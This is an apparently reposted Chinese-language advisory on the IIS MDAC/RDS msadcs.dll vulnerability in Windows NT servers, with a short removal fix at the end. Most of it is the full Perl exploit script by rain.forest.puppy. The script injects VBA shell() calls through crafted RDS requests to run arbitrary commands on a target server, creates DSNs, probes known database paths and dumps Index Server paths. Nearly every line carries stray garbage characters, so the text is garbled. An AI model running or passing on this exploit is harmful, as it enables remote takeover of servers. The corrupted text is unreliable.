IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
'8T=~R6 pTyi!:g3W 涉及程序：
3Bx :Ntx< Microsoft NT server
hweaGL t0 ZJ 7 7[ 描述：
*L'>U[Pl7 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
jD`d# R *r$+&8V\n 详细：
u*# ZXW 如果你没有时间读详细内容的话，就删除:
Hw -Z c:\Program Files\Common Files\System\Msadc\msadcs.dll
f4guz 有关的安全问题就没有了。
kr9g K~ `UQf2o0%3w 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
p mFk 50` +ke1Cn'[ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
*mMEl]+ 关于利用ODBC远程漏洞的描述，请参看:
W!"}E%zx MiRdX#+Y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x"CZ]p&m o)[2@fRC( 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
}oKG}wgY http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3t0[^cY8=z en:4H 这里不再论述。
zBP> jM(8 "luR9l,RRE 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Q lHd,w 6"D/xV3Z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Zb134b' 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
UD)e:G[Gat PGARXw+ LT,? $I #将下面这段保存为txt文件，然后: "perl -x 文件名"
F1Hh7
F N?m0US u* #!perl
if ]No e #
PT5AA 8 F # MSADC/RDS 'usage' (aka exploit) script
G_dsrpI=N #
gt7VxZ # by rain.forest.puppy
(} 5S #
F|HJH"2*&q # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
6O22P?v # beta test and find errors!
\J6hI\/4^ &V<W>Y>|l* use Socket; use Getopt::Std;
7oR:1DX w| getopts("e:vd:h:XR", \%args);
)
9oH,gZ )#}mH @ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
KPpHwcYxT G5,~Z&}YS if (!defined $args{h} && !defined $args{R}) {
)|I5j] ;L print qq~
nxJee=qH Usage: msadc.pl -h <host> { -d <delay> -X -v }
o8Z[+; -h <host> = host you want to scan (ip or domain)
B =@ jW z" -d <seconds> = delay between calls, default 1 second
b Lnrbid -X = dump Index Server path table, if available
c. A|Ir -v = verbose
& BvZF -e = external dictionary file for step 5
[*Z`Kc ,=
&B28Qe) Or a -R will resume a command session
IB`>'~s& A _6Eu2|vM& ~; exit;}
D>!6,m2 eJo3 MK $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
SgEBh if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
tL+OCLF; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
: ~ A%# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
wO>L#"X^v $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:SsUdIX;P if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
(? *BB3b` p<v.Q if (!defined $args{R}){ $ret = &has_msadc;
i#%a- I:M die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"z*:'8;E ?~QIALA print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4\& . "cmd /c ";
x5Z-{" $in=<STDIN>; chomp $in;
EOoZoV dzx $command="cmd /c " . $in ;
O`$#Pg zj|/ CxV if (defined $args{R}) {&load; exit;}
}elH75[64 nSCWg=E^ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
yt+}K)Hz &try_btcustmr;
Ji;mHFZ*FU "W#t;;9Wz print "\nStep 2: Trying to make our own DSN...";
pfd# N[c &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}N*>Q R5K H \GkW6 print "\nStep 3: Trying known DSNs...";
w~@-9<^K]v &known_dsn;
(.Lrmf@hI7 {R^'=(YFy print "\nStep 4: Trying known .mdbs...";
sgr=w+",Q &known_mdb;
Sc]P<F7N] 2Nj9U#A if (defined $args{e}){
8:.nEo' print "\nStep 5: Trying dictionary of DSN names...";
e2C<PGUUB &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4{qB X? i\H+X print "Sorry Charley...maybe next time?\n";
i%#$* exit;
=_[Z W FhIqy %X ##############################################################################
1|?K\B b59{)u4F sub sendraw { # ripped and modded from whisker
3qQUpm+ sleep($delay); # it's a DoS on the server! At least on mine...
<fdPLw;@e4 my ($pstr)=@_;
{$M;H+Foh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
)n=ARDd^e die("Socket problems\n");
V5D`eX9 if(connect(S,pack "SnA4x8",2,80,$target)){
5=KF!? select(S); $|=1;
h~7,`fo print $pstr; my @in=<S>;
0"g@!gSrQ select(STDOUT); close(S);
^I] {7$6^ return @in;
L "<B;u5pM } else { die("Can't connect...\n"); }}
a9~"3y :h:@o h_= ##############################################################################
(XH2Sy )uL r?$qe sub make_header { # make the HTTP request
9B +wYJp my $msadc=<<EOT
M)cGz$Q| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/dDzZ%/@ User-Agent: ACTIVEDATA
vRPS4@9' Host: $ip
}xFi&
< Content-Length: $clen
-iCcoA Connection: Keep-Alive
&D#+6M&LK{ +[m8c){ ADCClientVersion:01.06
<1&Ke Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<3hA! $o~ K<v:-TjQZ: --!ADM!ROX!YOUR!WORLD!
,PWj_}|L[ Content-Type: application/x-varg
*wi}>_\ Content-Length: $reqlen
Q;nAPS *T4<& EOT
PG,U6c # ; $msadc=~s/\n/\r\n/g;
D {'#er return $msadc;}
&HM-g7|C0E B(l-}| m_ ##############################################################################
/!Z^Y sygH1|f sub make_req { # make the RDS request
TD04/ ISHT my ($switch, $p1, $p2)=@_;
@<_`2eW'/R my $req=""; my $t1, $t2, $query, $dsn;
= z:U ~D
P
, K\ if ($switch==1){ # this is the btcustmr.mdb query
H:a|x#" $query="Select * from Customers where City=" . make_shell();
_ ^7|!(Sz $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
CsS p=( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
R#4 ^s FoPginZ]J elsif ($switch==2){ # this is general make table query
J?P]EQU $query="create table AZZ (B int, C varchar(10))";
|t\|:E>" } $dsn="$p1";}
uC~g#[I QM . 9 LL+d elsif ($switch==3){ # this is general exploit table query
|ia@,*KD $query="select * from AZZ where C=" . make_shell();
ykq'g | $dsn="$p1";}
.V%*{eHLL >kd M:MK elsif ($switch==4){ # attempt to hork file info from index server
OR+A_:c.D $query="select path from scope()";
C]`eH *z~8 $dsn="Provider=MSIDXS;";}
/ hdf{4 4FA|[ An elsif ($switch==5){ # bad query
[V@yRWI $query="select";
"7?js $ $dsn="$p1";}
1a9w(X MB:n~> ga $t1= make_unicode($query);
M@?"t_e 1 $t2= make_unicode($dsn);
Q :S\0cI0 $req = "\x02\x00\x03\x00";
)-&nxOP $req.= "\x08\x00" . pack ("S1", length($t1));
>,h1 N$A+ $req.= "\x00\x00" . $t1 ;
s?O&ZB2GM[ $req.= "\x08\x00" . pack ("S1", length($t2));
b?kPN:U#N/ $req.= "\x00\x00" . $t2 ;
2/tb6' = $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2H&{1f\Bf return $req;}
p27p~b&
qtSs)n ##############################################################################
= cfm= + Vdvx"s[`m sub make_shell { # this makes the shell() statement
w)S; J,Hv return "'|shell(\"$command\")|'";}
/BzA(Ic/ (Cj,\r ##############################################################################
6MrKi|'X@ sT<{ SmBF sub make_unicode { # quick little function to convert to unicode
E _[ONm=, my ($in)=@_; my $out;
R @r{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
g'G8 3F return $out;}
3kLOoL? - s|t^ ##############################################################################
~eo^`4O{{ @
t@|q sub rdo_success { # checks for RDO return success (this is kludge)
>rwYDT#m] my (@in) = @_; my $base=content_start(@in);
N^ B@3QF if($in[$base]=~/multipart\/mixed/){
0|2%# E return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+ x_ wYv return 0;}
y'rN5J:l e?)yb^7K ##############################################################################
nhfwOS F7 uhuqA]N sub make_dsn { # this makes a DSN for us
+)-d_K.(k my @drives=("c","d","e","f");
-Uf4v6A print "\nMaking DSN: ";
II# foreach $drive (@drives) {
/8p&Qf>lJ1 print "$drive: ";
f-vK}'Z`, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
1PU*:58[ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
C
MqM;1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
}Z6nN)[|0Y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
, ;'SVe% return 0 if $2 eq "404"; # not found/doesn't exist
ct\<;I(H if($2 eq "200") {
0=m&^Jpp foreach $line (@results) {
fI[dh d6 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
A*Q[k 9B } return 0;}
-HT L 5 zjoo{IH} ##############################################################################
,#%SK;1< -~'k P /E^ sub verify_exists {
a97Csxf;7 my ($page)=@_;
^@ UjQ9[> my @results=sendraw("GET $page HTTP/1.0\n\n");
<t6 d)mJ % return $results[0];}
m9g^ -X = n
}Yqny ##############################################################################
f)tc 4iV ~\bHfiIDy sub try_btcustmr {
Fhi5LhWe+. my @drives=("c","d","e","f");
K|~AA"I; my @dirs=("winnt","winnt35","winnt351","win","windows");
u.&|CF- NlFo$Y foreach $dir (@dirs) {
a&:>Ped" print "$dir -> "; # fun status so you can see progress
rHo6iJj foreach $drive (@drives) {
o@@w^## print "$drive: "; # ditto
vUfO4yfdg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
F=5kF/}x-z $reqlenlen=length( "$reqlen" );
Ko-QR( $clen= 206 + $reqlenlen + $reqlen;
#,Bj!'Q'- q5gP~*? my @results=sendraw(make_header() . make_req(1,$drive,$dir));
MVuP
|&:n if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7X:hIl else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
,A?v,Fs>O[ &O{t^D)F ##############################################################################
d:3= 1x h~.V[o 7= sub odbc_error {
#[(0 tc/ my (@in)=@_; my $base;
7?]!Ecr" my $base = content_start(@in);
P59 uALi if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
c.6 QhE $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o(nHB
g $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`L">"V`$Bj $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/]l f>\x1 return $in[$base+4].$in[$base+5].$in[$base+6];}
"{6KZ! +0 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+TWJNI print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Q5T(nEA $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
^B6`e^ < |>[X<>m ##############################################################################
tQCj)Ms 'X Z0z) sub verbose {
x F^ r` my ($in)=@_;
wISzT^RS
return if !$verbose;
}(rzH}X@ print STDOUT "\n$in\n";}
*q[^Q'jnN Y/!0Q6<[2Y ##############################################################################
tdb4?^.s fIlIH sub save {
`v<f} my ($p1, $p2, $p3, $p4)=@_;
Z_!9iA:X open(OUT, ">rds.save") || print "Problem saving parameters...\n";
} _VZ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{8W |W2o$! close OUT;}
J
b|mXNcL n_ OUWvs ##############################################################################
` C ?a 34]%d<;A sub load {
_ ]Z$YM my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1(D1}fcul open(IN,"<rds.save") || die("Couldn't open rds.save\n");
q2D`1nT @p=<IN>; close(IN);
fV v$ K& $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6.vNe $target= inet_aton($ip) || die("inet_aton problems");
r6<ArX$Yl print "Resuming to $ip ...";
DvU~%%(0^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
dfXV1B5 if($p[1]==1) {
2voNg Y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Z ^C!RSQ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
@D2`*C9 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<,#rtVO$ if (rdo_success(@results)){print "Success!\n";}
5@""_n&FV else { print "failed\n"; verbose(odbc_error(@results));}}
yW'BrTw
elsif ($p[1]==3){
%{c2lyw if(run_query("$p[3]")){
N_|YOw6 print "Success!\n";} else { print "failed\n"; }}
*E$H;wKs8 elsif ($p[1]==4){
@$ _rEdwi if(run_query($drvst . "$p[3]")){
PwRNBb}6 print "Success!\n"; } else { print "failed\n"; }}
Y~ <rQ exit;}
WJP`0f3 pvI&-D #} ##############################################################################
Lp~c Y&~5k;>'_ sub create_table {
mn,=V[f my ($in)=@_;
#`2GAM];7 $reqlen=length( make_req(2,$in,"") ) - 28;
7Ljs4>%l9j $reqlenlen=length( "$reqlen" );
chM t5L+5 $clen= 206 + $reqlenlen + $reqlen;
69 [w/\ my @results=sendraw(make_header() . make_req(2,$in,""));
=] 6_{#Z< return 1 if rdo_success(@results);
D_]i/
F% my $temp= odbc_error(@results); verbose($temp);
'[0
3L9 return 1 if $temp=~/Table 'AZZ' already exists/;
%Tk}s fx return 0;}
_dz:\v ok8JnQC ##############################################################################
(}~ 1{C@ t^dakL sub known_dsn {
&fh .w]\ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
REeD?u j my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
^?J EyY "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\=TWYj_Ah "banner", "banners", "ads", "ADCDemo", "ADCTest");
)GQ D*b tauP1&%oH{ foreach $dSn (@dsns) {
H 7 o$O print ".";
'Sm/t/g"| next if (!is_access("DSN=$dSn"));
mvxc[ if(create_table("DSN=$dSn")){
%@)U/G6s} print "$dSn successful\n";
WllCcD1 if(run_query("DSN=$dSn")){
Zm?G'06 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JT}dor print "Something's borked. Use verbose next time\n";}}} print "\n";}
h?M'7Lti :z}~U3,JE ##############################################################################
K .c6Rg B]CS2LEqh sub is_access {
o%QhV6(F my ($in)=@_;
,5%aP% $reqlen=length( make_req(5,$in,"") ) - 28;
G N8`xR{J* $reqlenlen=length( "$reqlen" );
.l" _ K $clen= 206 + $reqlenlen + $reqlen;
uugz IV) my @results=sendraw(make_header() . make_req(5,$in,""));
M}{n6T6B my $temp= odbc_error(@results);
4?* `: verbose($temp); return 1 if ($temp=~/Microsoft Access/);
C: TuC5Sr return 0;}
jp\JwE .XZ 71E ##############################################################################
9e|{z9z[l :zS>^RE sub run_query {
~j\;e my ($in)=@_;
yS(=eB_ $reqlen=length( make_req(3,$in,"") ) - 28;
4
g/<).1<b $reqlenlen=length( "$reqlen" );
c>%z)uY>/ $clen= 206 + $reqlenlen + $reqlen;
NiU tH my @results=sendraw(make_header() . make_req(3,$in,""));
]ys 4 return 1 if rdo_success(@results);
RJ7/I/yD| my $temp= odbc_error(@results); verbose($temp);
rmAP&Gw I return 0;}
,L8I7O}A ; cftn`:(&8 ##############################################################################
Feinc Z!M > (YPkmH sub known_mdb {
g@N=N my @drives=("c","d","e","f","g");
< '+R%6 my @dirs=("winnt","winnt35","winnt351","win","windows");
fM
zAf3 my $dir, $drive, $mdb;
co(fGp#! my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r[ i~4N= V9);kD # this is sparse, because I don't know of many
8#d99d Oe my @sysmdbs=( "\\catroot\\icatalog.mdb",
l)2HHu< "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
kKI!B`j=
"\\system32\\certmdb.mdb",
^y;OHo "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
z; Gbqr?{{ 7m@^ =w my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
zrWq!F*-V\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
K{7S "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
)x5$io
"\\cfusion\\cfapps\\security\\realm_.mdb",
"m\UqQGX "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3IRRFIiO "\\cfusion\\database\\cfexamples.mdb",
cC (ubU R "\\cfusion\\database\\cfsnippets.mdb",
B "s8i{Vm "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9x
6ca "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Xk7$?8r4& "\\cfusion\\brighttiger\\database\\cleam.mdb",
1&>nL`E[3 "\\cfusion\\database\\smpolicy.mdb",
faKrSmE! "\\cfusion\\database\cypress.mdb",
_mq*j^u,j "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[{fF)D<tC "\\website\\cgi-win\\dbsample.mdb",
WhVm ycdv "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
a)yNXn8E_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
a5A cqa ); #these are just
U+3PqWB foreach $drive (@drives) {
xN":2qy#T foreach $dir (@dirs){
Z-;uzx foreach $mdb (@sysmdbs) {
n?ZH2dI \0 print ".";
%V" +}Dr if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
3K;b~xg`nw print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Du o# WtC
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Aj)< 8 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}Rf :DmPE } else { print "Something's borked. Use verbose next time\n"; }}}}}
"E e/q :` c`N`x U+z foreach $drive (@drives) {
]$`s}BN foreach $mdb (@mdbs) {
o^"d2= print ".";
7l|> if(create_table($drv . $drive . $dir . $mdb)){
~QQ23k& print "\n" . $drive . $dir . $mdb . " successful\n";
1rzq$, O if(run_query($drv . $drive . $dir . $mdb)){
\t~u
: D print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
hZF&PV5H } else { print "Something's borked. Use verbose next time\n"; }}}}
m@
'I|!^ }
U*Q5ff7M6" @| *Z0bn' ##############################################################################
e7j]BzGvl >+c`GpZH sub hork_idx {
"x ) pp print "\nAttempting to dump Index Server tables...\n";
,Elga}7u print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
DF&jZ[## $reqlen=length( make_req(4,"","") ) - 28;
J\8l%4q3 $reqlenlen=length( "$reqlen" );
u=UM^C! $clen= 206 + $reqlenlen + $reqlen;
KzH}5:qI my @results=sendraw2(make_header() . make_req(4,"",""));
RX<^MzCDV if (rdo_success(@results)){
1Mhc1MU my $max=@results; my $c; my %d;
&Bdt+ OQ ; for($c=19; $c<$max; $c++){
<raqp Oo& $results[$c]=~s/\x00//g;
RU ,N_GV
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
2g07wJ6x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
(NW N & $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
3U.B[7fOM $d{"$1$2"}="";}
b42pLbpe'E foreach $c (keys %d){ print "$c\n"; }
?lw[ } else {print "Index server doesn't seem to be installed.\n"; }}
}4ghT(C}$ X52jqXjg ##############################################################################
4lKbw4[a
J5_
qqD) sub dsn_dict {
&CP@]
pi9L open(IN, "<$args{e}") || die("Can't open external dictionary\n");
.g`*cDW^= while(<IN>){
:phD?\!w8t $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
%a6]gsiv2< next if (!is_access("DSN=$dSn"));
9P >S[= if(create_table("DSN=$dSn")){
OL9C #er print "$dSn successful\n";
=$z$VbBv if(run_query("DSN=$dSn")){
s&_O2(l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7JwWM2N?V print "Something's borked. Use verbose next time\n";}}}
c(=O`%B{ print "\n"; close(IN);}
>wm$,%zk u~T$F/]k> ##############################################################################
i3WmD@ u2 \qg;dP sub sendraw2 { # ripped and modded from whisker
Fea\ eB sleep($delay); # it's a DoS on the server! At least on mine...
\ A UtGP my ($pstr)=@_;
c\rbLr}l) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5pyvs ;As die("Socket problems\n");
<T% hfW if(connect(S,pack "SnA4x8",2,80,$target)){
<`p'6n79 print "Connected. Getting data";
7[<sl35 open(OUT,">raw.out"); my @in;
&,kB7 r" select(S); $|=1; print $pstr;
I;4CvoT while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
}AfPBfgC1z close(OUT); select(STDOUT); close(S); return @in;
Ip|^?uyrk } else { die("Can't connect...\n"); }}
vo<#sa^,j 8BH)jna`Qo ##############################################################################
Leick 6 Wn#JY p sub content_start { # this will take in the server headers
v})Ti190 my (@in)=@_; my $c;
a7d- for ($c=1;$c<500;$c++) {
1 2DdUPOi if($in[$c] =~/^\x0d\x0a/){
nMvIL2:3 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
B148wh#r else { return $c+1; }}}
|.8= gS5 return -1;} # it should never get here actually
K KXb, / U8Jj(]},_ ##############################################################################
5BO!K$6 U)1qsUDF sub funky {
%~VIxY |d my (@in)=@_; my $error=odbc_error(@in);
@I.O T if($error=~/ADO could not find the specified provider/){
CN>};>WlG print "\nServer returned an ADO miscofiguration message\nAborting.\n";
n#'',4f exit;}
R[ -:-8 if($error=~/A Handler is required/){
)Nd: PnA print "\nServer has custom handler filters (they most likely are patched)\n";
? bg pUv exit;}
T.dO0$,Q@$ if($error=~/specified Handler has denied Access/){
0J-ux"kfI print "\nServer has custom handler filters (they most likely are patched)\n";
WbzL!zLd! exit;}}
rbS= Ewk !D5`8 ##############################################################################
Elk$9 < < BD+~8v sub has_msadc {
gUtbCqDS my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
I}A#* iD my $base=content_start(@results);
C:EoUu return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
?qW |k6{O return 0;}
hs uJ;4}$q Vta;ibdeqW ########################
& .4a qr;" K? NX 3AL=*qq 解决方案：
Q >*K/%KD 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
mpAh'f4$* 2、移除web 目录: /msadc
